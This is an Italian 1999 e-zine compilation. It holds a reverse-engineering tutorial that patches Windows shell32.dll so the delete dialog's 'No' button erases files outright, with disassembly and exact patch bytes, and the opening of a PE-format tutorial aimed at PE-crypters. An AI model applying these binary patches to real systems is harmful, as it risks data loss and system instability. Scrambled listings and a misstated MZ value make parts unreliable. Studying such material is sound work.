solo potessi evitare di far passare i files per il cestino di Windows quando li elimino...che rottura dover prima cancellare, poi svuotare il cestino, magari anche solo per un file....solo che poi se gli dico di eliminare sempre i files a volte mi trovo in difficolta'..." ??? Bene, se rientrate nella folta schiera (me compreso, altrimenti questo tute non avrebbe mai visto la luce :) di coloro i quali si pongono il problema, beh allora state leggendo il .txt adatto :) a questo punto permettetemi di spiegarvi sinteticamente un paio di cosette e DISCLAIMARE le mie responsabilita': UNO : Se apporterete le modifiche che vi indichero' in questo tutorial, non ritenetemi responsabile per perdite accidentali dei vostri dati (il vostro comando ELIMINA da explorer non sara' piu' sicuro come un tempo!! :) DUE : questo e' un tutorial rivolto al reverse engineering piu' che al cracking. Se avete scaricato questo file credendo di poter sproteggere un programma o crackare un gioco, mi dispiace deludervi ma non troverete niente di simile qui. Vi consiglio di dare un'occhiata ai tutorials su ringzer0.cjb.net - troverete sicuramente qualcosa di vostro gradimento :) Detto cio'......LET'S GO!!! allora....come avrete certamente capito dall'intro, in questo tute faremo in modo che quando scegliete una determinata opzione, il vostro fido explorer di Window$ ELIMINERA' fisicamente i files dal disco, senza farli passare dal cestino. "Bella novita'", starete pensando..."lo posso fare pure selezionando l'opzione 'Non spostare i files nel cestino, elimina direttamente' nelle proprieta' del cestino"....ed invece ecco la novita'....che ne direste di un bel dialog box con tre opzioni, UNO=SPOSTA NEL CESTINO, DUE=ELIMINA DAL DISCO e TRE=ANNULLA L'OPERAZIONE ? Esatto....sto parlando di combinare, in qualche arcano modo, le tre cose senza smanettare con le opzioni del cestino (IMPORTANTE: PER SEGUIRE QUESTO TUTE, E SUCCESSIVAMENTE, *DOVETE* LASCIARE L'OPZIONE "SPOSTA NEL CESTINO", NIENTE "ELIMINA DIRETTAMENTE"). Ok, basta chiacchiere.... Contrariamente a quello che qualcuno potrebbe pensare, *NON* e' EXPLORER.EXE che regola le operazioni come cancellare i files, copiarli ecc., ma queste funzioni sono svolte da una DLL (Dynamic Link Library, ovvero un insieme di funzioni che vengono sfruttate da un programma, nel nostro caso EXPLORER.EXE) chiamata SHELL32.DLL e situata sotto WINDOWS\SYSTEM. Niente di grave, tratteremo la DLL come un qualsiasi eseguibile, e i tools saranno gli stessi di sempre: * W32Dasm v8.93 * SoftICE v3.24 * HIEW v6.01 Bene...ci dovreste essere. Aprite Shell32.dll con W32dasm....noterete la differenza di image base....non piu' 40000000h come i classici .exe ma 7FDB0000h. Bene, ora aprite Explorer.exe (Gestione Risorse) e create una directory temporanea, riempendola di files inutili copiati da altre dirs. MI RACCOMANDO NON OPERATE CON DIRECTORY GIA' PRESENTI SUL VOSTRO HARD DISK, PERCHE' LE POSSIBILITA' DI PERDERNE I DATI CONTENUTI E' MOLTO ALTA! Allora...prendete un file a caso della vostra dummy dir e scegliete ELIMINA dal menu FILE (o dal context menu che appare premendo il tasto destro del mouse). Noterete un simpatico dialog che vi chiede se volete spostare xxxx.xxx nel cestino.....benissimo, ecco trovato il nostro hook per accedere al codice. Ad una prima occhiata, e' intuibile che la API su cui breakare e' DialogBoxParamA. E cosi' fate....scegliete NO, entrate in SoftICE, e scrivete "BPX DialogBoxParamA". Riselezionate "elimina" e sice vi poppera' sullo schermo. premete F12 e sarete di nuovo in pista, stavolta con il dialog sullo schermo. Selezionate SI...Sice ri-poppera', e sarete alla riga successiva al caller del Dialog Box, che e' questa: * Reference To: USER32.DialogBoxParamA, Ord:0084h | :7FDE2505 FF15E83DE17F Call dword ptr [7FE13DE8] Date un'occhiata ad EAX, che come saprete contiene il valore di ritorno di OGNI funzione API. Notate che e' 6. Ora premete F5, e il vostro file verra' spostato nel cestino. Adesso riprovate a scegliere ELIMINA. Noterete che, scegliendo NO, il return value in EAX successivamente al DialogBoxParamA e' = 7. Ripete l'operazione, ma stavolta lasciate perdere il mouse e premete ESC. Il return value sara' 2. quindi possiamo tracciare un semplice schema: VALORE DI RITORNO DALLA CALL DEL DIALOGBOX | TASTO/BUTTON SELEZIONATO | ** SIGNIFICATO ** ___________________________________________|__________________________|_________ _______________ | | 00000006 | BUTTON "SI" SUL DIALOG | SPOSTA FILE NEL CESTINO ___________________________________________|__________________________|_________ _______________ | | 00000007 | BUTTON "NO" SUL DIALOG | ANNULLA L'OPERAZIONE ___________________________________________|__________________________|_________ _______________ | | 00000002 | TASTO "ESC" DA TASTIERA | ANNULLA L'OPERAZIONE ___________________________________________|__________________________|_________ _______________ Hmm.....cio' che salta all'occhio qui e' un'inutile ripetizione.....due valori di ritorno svolgono la stessa funzione...sarebbe molto meglio se potessimo modificare il significato del button "NO" sul dialog box....magari redirezionandolo verso l'ELIMINAZIONE FISICA del file selezionato dall'hard disk...In tal modo, senza grosse modifiche al codice avremmo una situazione molto piu' interessante: "SI" sposterebbe il file nel cestino, "NO" lo eliminerebbe fisicamente e "ESC" annullerebbe l'operazione. Vediamo che si puo' fare :) Cominciamo a tracciare con F10, finche' non arriviamo qui * Referenced by a JUMP at Addresses: |:7FDE24ED(U), :7FDE2519(C), :7FDE2524(U) | :7FDE252B 83FE06 cmp esi, 00000006 :7FDE252E 751E :7FDE2530 8B452C :7FDE2533 8B00 :7FDE2535 A810 :7FDE2537 7515 :7FDE2539 :7FDE253B :7FDE253D :7FDE253F :7FDE2541 A805 7411 85FF 7503 8B7D20 ; ESI CONTIENE IL ; RETURN VALUE jne 7FDE254E ; SE NON SI E' ; SCELTO "SI" mov eax, dword ptr [ebp+2C] mov eax, dword ptr [eax] ; BYTE INIZIALE ; DESCRITTORE OBJECT test al, 10 ; CONTROLLA SE L'OBJECT ; E' UNA DIR jne 7FDE254E ; SE SI (10=DIR, ; 20=FILE) SALTA test al, 05 ; SE E' UN FILE.... je 7FDE254E ; SALTA COMUNQUE :) test edi, edi jne 7FDE2544 mov edi, dword ptr [ebp+20] Stop! Abbiamo quanto basta a capire che la continuazione naturale della procedura e' a 7FDE254E...dove troviamo questa parte di codice: :7FDE254E 8BC6 mov eax, esi Il return value viene rimesso in eax, molto bene....siamo sulla strada giusta ...il check precedente serviva quindi solo a verificare problemi di memoria o di invalid handle....se c'erano problemi in eax veniva lasciato un dummy value e le operazioni successive non sarebbero andate in esecuzione. Come vedrete shell32.dll e' PIENA di checks di questo tipo...potete pure chiamarlo Good Old Micro$oft Redundant Code (TM) :) Continuiamo il tracing con SoftICE fino al ret 028...ci ritroveremo qui: :7FDE4093 E810E1FFFF call 7FDE21A8 :7FDE4098 8BF8 mov edi, eax ;<-- TORNIAMO DA ; QUESTA CALL * Referenced by a JUMP at Address: |:7FDE4064(C) | :7FDE409A 83FF06 cmp edi, 00000006 :7FDE409D 7540 :7FDE409F 8B442434 :7FDE40A3 8B08 :7FDE40A5 F6C110 QUI?? :7FDE40A8 7435 :7FDE40AA 81FD00010000 :7FDE40B0 7408 :7FDE40B2 81FD00030000 :7FDE40B8 7525 ; DI NUOVO...CHECK SE ; ABBIAMO PREMUTO SI jne 7FDE40DF ; ALTRIMENTI ELABORA ; DI CONSEGUENZA mov eax, dword ptr [esp+34] mov ecx, dword ptr [eax] ; BYTE INIZIALE ; DESCR. OBJ. IN ECX test cl, 10 ; ABBIAMO UN FILE je 7FDE40DF cmp ebp, 00000100 je 7FDE40BA cmp ebp, 00000300 jne 7FDE40DF ; SI! SALTA ! ; O UNA DIR?? ; (100=DIRECTORY) ; (300=FILE) Benissimo.....ulteriori checks (uff! :)...ora il nostro jne a 409D non saltera' perche' abbiamo scelto "SI", mentre prenderemo quello a 40A8 per ovvi motivi (abbiamo scelto un file:)...ora una premessa e' d'obbligo. Poiche' quello che stiamo per fare e' MOLTO pericoloso per i vostri dati, ho deciso di trattare in questo tutorial SOLO la modifica del codice relativo all'eliminazione di UN SOLO FILE ALLA VOLTA. In altre parole, il file verra' distrutto SOLO quando verra' cancellato DA SOLO. Se decidete di cancellare directories intere, o piu' file alla volta, dovrete servirvi del cestino. Comunque, se siete intenzionati a modificare anche il codice relativo alla cancellazione di piu' files o di una dir intera, vi do un piccolo consiglio...il dialog box e' diverso per quando dovete cancellare piu' files...quindi, un bpx su DialogBoxParamA vi fara' poppare in un altro punto, e troverete semplice orientarvi nello stesso modo in cui stiamo agendo qui. (consiglio nel consiglio ;) : Quando cancellate piu' files potete provare a noppare il mov eax,2 che viene eseguito SIA quando premete ESC SIA quando premete il button "NO"...noppando il mov, avrete la dovuta differenziazione (7 o 2) nel return value, che vi serve a ridirezionare le funzioni anche in tal caso...l'unico problema e' che poi dovrete appendere del codice se questo non e' gia' presente nella dialog procedure, quindi magari dovrete ingrandire l'ultima sezione del pe e...ma hey! questo e' un altro discorso :) Ritorniamo a noi! :) I checks ci fanno intuire che la prossima zona di codice per l'elaborazione dei return values, nel caso in cui si e' scelto un file (insomma proprio cio' che ci interessa :) e' a 7FDE40DF. Ecco qui.... :7FDE40DF :7FDE40E2 :7FDE40E4 :7FDE40E7 :7FDE40E9 :7FDE40EE :7FDE40F0 :7FDE40F4 :7FDE40F5 :7FDE40F9 83FF02 741A 83FF07 7415 837C241C00 740E FF742424 56 FF742434 E845EEFFFF cmp edi, 00000002 je 7FDE40FE cmp edi, 00000007 je 7FDE40FE cmp dword ptr [esp+1C], 00000000 je 7FDE40FE push [esp+24] push esi push [esp+34] call 7FDE2F43 * Referenced by a JUMP at Addresses: |:7FDE40E2(C), :7FDE40E7(C), :7FDE40EE(C) | :7FDE40FE 8BC7 mov eax, edi :7FDE4100 5D pop ebp :7FDE4101 :7FDE4102 :7FDE4103 :7FDE4104 :7FDE4107 5F 5E 5B 83C418 C22400 pop pop pop add ret edi esi ebx esp, 00000018 0024 Altri tre checks....se abbiamo scelto ESC o "NO", il programma esce dalla call (con il ret 024 a 4107) conservando tale valore nel registro, altrimenti esegue una zona di codice, allo scopo di rilevare i dati necessari alla cancellazione del file (con la call a 40F9). Continuiamo a tracciare con SoftICE, e ci ritroveremo al caller.... :7FDE4952 CALL :7FDE4957 :7FDE495A :7FDE4960 :7FDE4963 :7FDE4965 :7FDE4968 E8A3F6FFFF call 7FDE3FFA ; <--NOI TORNIAMO DA QUESTA 83F802 0F847F080000 83F806 743F 83F807 0F8486070000 cmp eax, 00000002 ; HAI PREMUTO "ESC" ? je 7FDE51DF cmp eax, 00000006 ; HAI SCELTO "SI" ? je 7FDE49A4 cmp eax, 00000007 ; HAI SCELTO "NO" ? je 7FDE50F4 * Referenced by a JUMP at Addresses: |:7FDE48D1(U), :7FDE50AF(U) | :7FDE496E 8945FC mov dword ptr [ebp-04], eax ; C'E' QUALCOSA CHE ; NON CONTIENE ; VALORI DI CUI ; UN INVALID ; MESSAGGIO DI ERRORE! SORRY, MA QUI NON VA...SE EAX NESSUNO DEI 3 SOPRA, ABBIAMO HANDLE! Wohho! Ecco il codice che ci interessa....il gioco si fa interessante :D La fortuna ci assiste....abbiamo tre ramificazioni per tre eventuali opzioni ...adesso tutto sta a ridirezionare il je relativo alla pressione del button "NO" in una zona di codice diversa, che ELIMINERA' il file dall'hard disk.... non avremo bisogno di perdere tempo con le raw sizes e le virtual sizes delle sezioni del pe, e questo e' un bel vantaggio! Per ora continuiamo a tracciare, per renderci un po' conto di come funzionano le cose...la nostra corsa deviera' a 4963 perche' in questo caso abbiamo scelto "SI"... e ci ritroveremo qui: :7FDE49A4 :7FDE49A7 :7FDE49A9 :7FDE49AC :7FDE49B1 :7FDE49B3 :7FDE49B9 :7FDE49BE :7FDE49C4 :7FDE49C9 :7FDE49CF :7FDE49D4 :7FDE49D6 8B4DF4 8B01 0B45F8 3D01020000 7725 0F8402020000 3D01010000 0F848E000000 3D02010000 0F84FA000000 3D03010000 7447 EB3E mov ecx, dword ptr [ebp-0C] mov eax, dword ptr [ecx] or eax, dword ptr [ebp-08] cmp eax, 00000201 ja 7FDE49D8 je 7FDE4BBB cmp eax, 00000101 je 7FDE4A52 cmp eax, 00000102 je 7FDE4AC9 cmp eax, 00000103 je 7FDE4A1D jmp 7FDE4A16 Non fatevi spaventare dal numero dei jumps, se tutto va bene prenderete sempre il JA a 49B1 (non lo prendete se state cancellando un folder, ma gia' al primo file dello stesso saltera'), che vi portera' qui: :7FDE49D8 :7FDE49DD :7FDE49DF :7FDE49E4 :7FDE49EA :7FDE49EF 3D02020000 743E 3D03020000 0F84D1010000 3D01030000 0F84F0030000 cmp eax, 00000202 je 7FDE4A1D cmp eax, 00000203 je 7FDE4BBB cmp eax, 00000301 je 7FDE4DE5 :7FDE49F5 :7FDE49FA :7FDE4A00 :7FDE4A05 3D02030000 0F843C020000 3D03030000 0F8444030000 cmp eax, 00000302 je 7FDE4C3C cmp eax, 00000303 je 7FDE4D4F :7FDE4A0B 3D04030000 :7FDE4A10 0F8499030000 cmp eax, 00000304 je 7FDE4DAF ; JUMP CHE VERRA' PRESO ; SE TUTTO VA BENE Hmmm....sembrano a colpo d'occhio ulteriori checks sulle caratteristiche dei files...lasciamoli stare....il jump che prendera' sempre e' quello a 4A05. Ecco dove conduce: :7FDE4D4F 8B4730 :7FDE4D52 85C0 :7FDE4D54 741C :7FDE4D56 53 :7FDE4D57 8D4DFC :7FDE4D5A 6A00 :7FDE4D5C 8D95E4FDFFFF :7FDE4D62 50 :7FDE4D63 51 :7FDE4D64 52 :7FDE4D65 E815690000 OPZIONE "CESTINO ON" :7FDE4D6A 85C0 CESTINO E' OFF :7FDE4D6C 0F85ABFCFFFF SALTA E SPOSTA mov eax, dword ptr [edi+30] test eax, eax je 7FDE4D72 push ebx lea ecx, dword ptr [ebp-04] push 00000000 lea edx, dword ptr [ebp+FFFFFDE4] push eax push ecx push edx call 7FDEB67F ; CALL DI CONTROLLO test eax, eax ; EAX E' *ZERO* SE jne 7FDE4A1D ; HAI IL CESTINO "ON", ; I FILES * Referenced by a JUMP at Address: |:7FDE4D54(C) | :7FDE4D72 8D85E4FDFFFF lea eax, dword ptr [ebp+FFFFFDE4] ; ALTRIMENTI PROCEDI CON :7FDE4D78 50 push eax ; L'ELIMINAZIONE FISICA DEL * Reference To: SHELL32.Ordinal:00A4 ; FILE DALL'HD !! | :7FDE4D79 E8C7C3FFFF call 7FDE1145 :7FDE4D7E 85C0 test eax, eax :7FDE4D80 7409 je 7FDE4D8B :7FDE4D82 C745FC00000000 mov [ebp-04], 00000000 :7FDE4D89 EB09 jmp 7FDE4D94 Eh....sembra che ci siamo :) Tutto viene giostrato da quella call di controllo opzione a 4D65...se il risultato di quella call e' ZERO, i files verranno cancellati fisicamente, altrimenti verranno spostati nel cestino. Io personalmente ci sono arrivato tracciando passo per passo la call, e segnandomi le differenze nell'esecuzione che si verificano con le due opzioni di cestino "on" e "off". Se vi puo' interessare, la zona di codice in cui viene decisa la sorte di eax in quella call e' quella dei tre jumps agli indirizzi B660, B666 e B66C. Lo xor azzerera' eax e ci restituira' il valore zero, evitando per altro di eseguire una buona parte del codice della call (che serve a preparare lo spostamento del file nel cestino). Ora quindi sappiamo che, per ELIMINARE fisicamente i files, il nostro programma deve eseguire il codice che parte a 4D72...hey ma cosa vedo?? un jump che porta li'?? hmm, mettiamo un bpx su questo jump (7FDE4D54)...strano, non salta mai....nemmeno quando abbiamo il cestino ad "OFF"...ah! dimenticavo ....il solito Redundand Code (TM) della Micro$oft :))) Ora pero' devo dire che questo jump inutile (vabbeh, saltera' una volta ogni dieci millenni:) mi ha fatto pensare una cosa....se c'e' un jump che evita tutta la zona di codice precedente, non dobbiamo preoccuparci di inserire una flag e farla controllare dopo la call di controllo... si puo' accedere a quel codice anche EVITANDO tutto il check..lo dimostra il fatto che i programmatori hanno inserito nel codice un jump che fa proprio questo....evitare il codice... e' solo una questione di intuizione e logica (chiamiamolo ZEN che mi fa sembrare piu' cool ;) la soluzione a questo punto e' semplicissima......modificheremo il jump relativo al tasto "NO" in modo che esegua DIRETTAMENTE il codice a 7FDE4D72, invece che eseguire le sue inutili funzioni ! Pertanto il primo passo da seguire e' fare un BACKUP del file shell32.dll, chiamandolo ad es. shell32.bak. Poi copiamolo anche su un file temporaneo che andremo a patchare fisicamente (non possiamo patchare shell32.dll perche' non viene scaricato dalla memoria, nemmeno quando chiudiamo explorer.exe). Adesso abbiamo 3 files, shell32.dll, shell32.bak e, diciamo, shell32.new. La logica ci direbbe di segnarci i due offsets (del je relativo a "NO" e del punto in cui vogliamo che salti), aprire HIEW e patchare come in ogni altro caso...e invece NO! Se tentate questo approcio, al riavvio di Windows con la nuova shell32.dll, premendo "NO" avrete l'amara delusione di un misero GPF... perche'?? La spiegazione e' molto semplice, il motivo purtroppo no....ho pensato ad una differenza di image base, ma gradirei se qualcuno mi spiegasse con certezza il perche' di questo problema. Quando patchiamo con HIEW, e' vero che l'offset a cui diciamo di saltare cambia in 34172h, ma purtroppo, all'esecuzione del jump nella "vita reale:)", la dll saltera' alla RIGA DI CODICE 34172h, NON all'offset 34172h (che e' relativo alla riga di codice 7FDE4D72)....hmmm problemuccio fastidioso eh?? Su, basta un po' di logica.... non dimenticatevi MAI della potenza di SoftICE...entrateci e scrivete CODE ON (se non l'avete gia' nella init string)...questa opzione vi permettera' di visualizzare i bytes relativi alle varie istruzioni del codice...adesso mettete un bel bpx su 7FDE4968 (il je relativo alla pressione del button "NO") ...per entrare nel codice della dll basta il solito bpx DialogBoxParamA. ora premete "NO" alla richiesta di spostamento del file nel cestino, e vi troverete fermi sulla riga del je su cui abbiamo piazzato il bpx. Se continuate con l'esecuzione causerete un GPF, ma se invece premete A (Assemble instruction), Sice vi dara' un simpatico prompt in cui potrete inserire il codice che volete, relativo alla riga in cui vi trovate. Non dovete far altro che inserirvi "JE 7FDE4D72", e noterete un cambiamento dei bytes a fianco all'istruzione. Prendete un pezzo di carta, e segnatevi per filo e per segno quei bytes. Dovrebbero essere questi: 0F8404040000. Detto cio', uscite da tutto e aprite HIEW con il vostro file temporaneo shell32.new...andate all'offset 33D68h, premete F3 e inserite l'ESATTA sequenza di bytes che vi ha dato SoftICE. Salvate il file, riavviate in modalita' MsDos, andate sotto windows\system e copiate SHELL32.NEW in SHELL32.DLL (che adesso e' sovrascrivibile, perche' non c'e' Windows in esecuzione). Mi raccomando la copia di Backup del file. adesso riavviate Windows.....aprite explorer e provate "elimina" su di un file che non vi interessa...se premete ESC, il file resta li'.....se premete "SI" viene spostato nel cestino...e se premete "NO" il file scompare dall'hard disk!! E' FATTA! :D __________ Con questo tutorial ho voluto dimostrare come puo' essere semplice fare un po' di sano reversing, e spero che qualcuno abbia imparato qualcosa da questo txt. Se avete problemi a seguire il tutorial o volete chiedermi o comunicarmi qualcosa, il mio indirizzo e' [email protected] Detto cio', saluto tutti gli amici da #cracking4newbies, #crack-it e RingZ3r0 ...e colgo l'occasione per dare il benvenuto ad ALoR nel gruppo!!! :) till next time...... -NeuRaL_NoiSE 1999 NOTA BY N0bodY88 = ancora grazie a RingZ3r0 e all'autore NeuRaL_NoiSE x averci permesso di pubblicare all'interno di NewBies questo simp mitico tutorial. PS: complimenti a NN che oltre a essere bravo e' sempre disponibile e strasimpatico {|:->) ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ NOTA DI N0bodY88 = mi scuso con i mitici membri di ringZ3r0 se ho dovuto modificare le impostazioni dei loro articoli ma dato che nei num. precedenti ci hanno scritto che le stampe venivano male allora in questo numero abbiamo deciso di fare il tutto al max largo quanto una pagina (a parte qualke tabella e qualke eccezione, cmq ricordo che NewBies e' fatta x essere letta e stampata con l'edit di dos [ il buon vecchio editor :-D ]). Se volete vedere gli art/tut. originali cmq basta che andate sul sito ringZ3r0 :-)....al solito...io vi consiglio di scaricarvelo tutto con teleport xche' se cominciate a leggere online....okkio alla bolletta!!!!!!!!! ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ áááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááááá ê ê ý [x] ringZ3r0 Proudly Presents [x] ý ý ý ñ ŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽŽ ñ ñ ñ ü PE-Crypters : uno sguardo da vicino al c.d. "formato" PE ü Kill3xx 02 Marzo,1999 --==[ PREMESSA ]==---------------------------------------------------------- LE INFORMAZIONI CHE TROVATE ALL'INTERNO DI QUESTO FILE SONO PER PURO SCOPO DIDATTICO. L'AUTORE NON INCORAGGIA CHI VOLESSE UTILIZZARLE PER SCOPI ILLEGALI. --==[ DIFFICOLTA' ]==--------------------------------------------------------scala : *=Novizio, **=Apprendista, ***=Esperto, ****=Guru target: *** --==[ TOOLS USATI ]==--------------------------------------------------------* * * * TASM PROCDUMP 1.3 PE Browse HIEW 6.01 --==[ LETTERATURA ]==--------------------------------------------------------"Peering Inside the PE: A Tour of the Win32 Portable Executable File Format" (M. Pietrek), Microsoft Systems Journal 3/1994 "Windows 95 Programming Secrets" (M. Pietrek), IDG BOOKS, 1995 "Why to Use _declspec(dllimport) & _declspec(dllexport) In Code", MS KB Q132044 "Writing Multiple-Language Resources", MS Knowledge Base Q89866 "The Portable Executable File Format from Top to Bottom" (Randy Kath), MSDN "The PE file format" (B. Luevelsmeyer), reperibile sulla rete --==[ INTRODUZIONE ]==-------------------------------------------------------Salve gente :) Quello che vi presento questa volta e' il primo di una serie di tre tutorial sul formato PE e soprattutto sull'utilizzo/abuso che ne fanno i vari PE-Crypters/Packers/Wrappers. Come avete sicuramente notato negli ultimi tempi c'e' stata un'esplosione di crypters e packers freeware/share/commerciali e sopratutto un loro massiccio impiego come parte della protezione di un programma: questo si spiega con il fatto che il formato PE e' oramai piu' o meno conosciuto e che soprattutto e' noto come il loader di win95/Nt crea un processo a partire dall'immagine su disco (qui dobbiamo ringraziare i vari Pietrek,Shulman,ecc. per aver aperto il vaso di Pandora;) Nel primo (quello che state leggendo :)) trattero' del formato PE in generale e cerchero' di commentare i sorgenti di un semplice pe-crypter da me scritto per l'occasione. Nel secondo parleremo di unpacking "a mano" o assistito :) (Procdump,SoftDump,ecc.), ed infine nel terzo se tutto filera' liscio vedremo come realizzare un decrypter e alcune tecninche anti-dumping. Una premessa: nell'analizzare questo formato non mi dilungero' su quali siano le origini di questo formato o su il significato di tutte le strutture e/o campi che lo compongono: in primo luogo perche' potete trovare dettagliate informazioni nei testi riportati nella "letteratua", in secondo luogo perche' molte di queste strutture/campi o non sono coerenti fra i vari linker o sono obsolete, o semplicemente non sono fondamentali per i nostri scopi (ricordate che parliamo di pe-crypters). --==[ IL FORMATO PORTABLE EXECUTABLE ]==-------------------------------------Per una visione di insieme del formato PE dobbiamo far ricorso alla fonte princiapale di documentazione (l'unica prima dei testi di Pietrek e Kath): winnt.h Questo ominipresente file header (fornito con tutti gli SDK,DDK di M$) contiene la definizione delle principali strutture e costanti che interessano il formato PE, quindi per qualsiasi cosa dovremmo fare riferimento a questo file. La principale caratteristica di questo formato e' la relativa facilita' con cui il loader puo' reperire le informazioni con cui "creare" un nuovo processo, che si traduce poi in una maggior velocita' di caricamento/esecuzione di una applicazione/modulo, e chi ha presente il formato NE sa cosa voglio dire! Il layout di un exe PE e' tendenzialmente (si esatto proprio "tendenzialmen_ te") questo: +===================+ | DOS (MZ) Header | +-------------------+ | DOS Stub | +===================+ | NT (PE) Header | |- - - - - - - - - -| | file-header | |- - - - - - - - - -| | optional header | |- - - - - - - - - -| | data directories | | | +===================+ | section headers | | array | ~-------------------~ |......padding......| ~-------------------~ | | | dati section2 | | | +-------------------+ | | | dati section2 | | | +-------------------+ | .............. | +-------------------+ | | | dati section n | | | +-------------------+ +00 -> dos header.[3C] ---+ | +40 | | +00 -> inizio PE header <-+ +04 +1A +78 <- PE header + FileHeader.SizeOfOptionalHeader + sizeOf(FileHeader) Come vedete la prima struttura che incontriamo e' il DosHeader (buon vecchio dos ;)): IMAGE_DOS_HEADER STRUC e_magic ...... e_lfanew IMAGE_DOS_HEADER ENDS DW ? ;+00 ; Magic number DD ? ;+3C ; Address of PE header Di questa struttura cio' che maggiormente ci interessa sono e_magic : questa DW contiene la signature che identifica un file eseguibile DOS valido ed e' definita come : 0x05A4 che corrisponde alla stringa MZ (no dai!?? ;)) e_lfanew: questa DD invece e' invece la chiave di accesso alla nuovo header PE. Si tratta di un RVA (ne parliamo dopo degli RVA) che punta al l'inizio della struttura NT Headers. Di conseguenza se volete ad exp. ottenere l'offset del PE Header relativo all'inizio di file mappato in memoria dovrete prima leggere questo valore e quindi sommarlo alla base del vista del Memory Mapped File (da ora MMF per gli amici ;) La presenza del campo e_lfanew si spiega con il fatto che di seguito al Dos Header possiamo trovare uno stub ms-dos: questo altro non e' che quel mini-programma ci avverte cordialmente :)) che l'eseguibile e' destinato all'ambiente Win32,OS/2, ecc.. Dato che questo stub e' _opzionale_ si e' reso necessario fornire un pratico sistema al loader per evitare di impaltanarsi nel caso lo stub non fosse linkato o di dimensioni diverse. Ora guardiamo piu' in dettaglio la struttura IMAGE_NT_HEADERS: 31 0 31 0 +-------------------------------------------------------+ <--+ | SIGNATURE | MACHINE | # SECTIONS | | +---------------------------+-------------+-------------+ | Signature + | TIME/DATE STAMP | POINTER TO SYMBOL TABLE | | FileHeader +---------------------------+-------------+-------------+ | | NUMBER OF SYMBOL | NT HDR SIZE| IMAGE FLAGS | <--+ +=============+======+======+=============+=============+ <--+ | MAGIC |LMAJOR|LMINOR| SIZE OF CODE | | +-------------+------+------+---------------------------+ | | SIZE OF INITIALIZED DATA | SIZE OF UNINITIALIZED DATA| | +---------------------------+---------------------------+ | | ENTRYPOINT RVA | BASE OF CODE | | +---------------------------+---------------------------+ | | BASE OF DATA | IMAGE BASE | | +---------------------------+---------------------------+ | | SECTION ALIGNMENT | FILE ALIGNMENT | | +-------------+-------------+-------------+-------------+ | Optional Header | OS MAJOR | OS MINOR | USER MAJOR | USER MINOR | | +-------------+-------------+-------------+-------------+ | | SUBSYS MAJOR| SUBSYS MINOR| WIN32 VERSION | | +-------------+-------------+---------------------------+ | | IMAGE SIZE | HEADER SIZE | | +---------------------------+-------------+-------------+ | | FILE CHECKSUM | SUBSYSTEM | DLL FLAGS | | +---------------------------+-------------+-------------+ | | STACK RESERVE SIZE | STACK COMMIT SIZE | | +---------------------------+---------------------------+ | | HEAP RESERVE SIZE | HEAP COMMIT SIZE | | +---------------------------+---------------------------+ | | LOADER FLAGS | # INTERESTING RVA/SIZES | | +===========================+===========================+ | <-+ | EXPORT TABLE RVA | TOTAL EXPORT DATA SIZE | | | +---------------------------+---------------------------+ | | | IMPORT TABLE RVA | TOTAL IMPORT DATA SIZE | | | +---------------------------+---------------------------+ | | | RESOURCE TABLE RVA | TOTAL RESOURCE DATA SIZE | | | +---------------------------+---------------------------+ | | | EXCEPTION TABLE RVA | TOTAL EXCEPTION DATA SIZE | | | +---------------------------+---------------------------+ | | | SECURITY TABLE RVA | TOTAL SECURITY DATA SIZE | | | Data +---------------------------+---------------------------+ | | Directory | FIXUP TABLE RVA | TOTAL FIXUP DATA SIZE | | | +---------------------------+---------------------------+ | | | DEBUG TABLE RVA | TOTAL DEBUG DIRECTORIES | | | +---------------------------+---------------------------+ | | | IMAGE DESCRIPTION RVA | TOTAL DESCRIPTION SIZE | | | +---------------------------+---------------------------+ | | | MACHINE SPECIFIC RVA | MACHINE SPECIFIC SIZE | | | +---------------------------+---------------------------+ | | | THREAD LOCAL STORAGE RVA | TOTAL TLS SIZE | | | +---------------------------+---------------------------+ | | | LOADER CONFIGURATION RVA | LOADER DATA SIZE | | | +---------------------------+---------------------------+ | | | BOUNDED IMPORTS TABLE | BOUNDED IMPORTS DATA SIZE | | | +---------------------------+---------------------------+ | | | IMPORT ADDRESSES TABLE | TOTAL IAT SIZE | | | +---------------------------+---------------------------+ <--+ <-+ come vedete e' l'unione di due strutture , l'IMAGE_FILE_HEADER e IMAGE_OPTIONAL_HEADER, piu' una DWORD, la c.d. signature: questo ci porta ad una prima considerazione ovvero che gli headers del PE sono _CONSECUTIVI_ in memoria (o su disco) e quindi i campi possono essere letti con semplicita' come offsets relativi all'inizio degli NT headers. Ora analizziamo i campi piu' importatanti (per questioni di spazio non riporto la dichiarazione degli headers, plz fate riferimento al file imghdr.inc) * Signature : questo signature ha la funzione di identificare il tipo di eseguibile e il S.O. (o sottosistema per NT) a cui e' destinato l'eseguibile; ad esempio : IMAGE_OS2_SIGNATURE 0x0454E = NE = new executable = os/2 o win3x IMAGE_NT_SIGNATURE 0x000004550 = PE00 = win9x / winNT #IMAGE_FILE_HEADER# * Machine: indica il processore target (ricordate che NT e' multiplatform) * TimeDateStamp: time stamp usata per identificare la versione del modulo (ad esempio nel meccanismo di import binding), ma spesso inconsistente. Non fidatevi! * NumberOfSections: indica il numero di sezioni presenti, nonche' il numero di entries nel section headers table. In teoria dovrebbe essere consistente con il numero di sezioni presenti ma non fidatevi visto che il loader non pare curarsene. * ImgFlags: indica il tipo di immagine (ad esempio eseguibile,dll) ed alcune caratteristiche che la riguardano e che sono derivate dalle opzioni di compilazione/linking (ad esempio se sono presenti le informazioni di debug,numeri di linea,ecc. se e' stata impostata una imagebase fixed,ecc. *SizeOfOptionalHeaders: indica la size degli optional headers (normamente 0xE0). La presenza di questo campo e' la conseguenza della natura estensibile del formato PE. #IMAGE_OPTIONAL_HEADER# Questa struttura e' diciamo 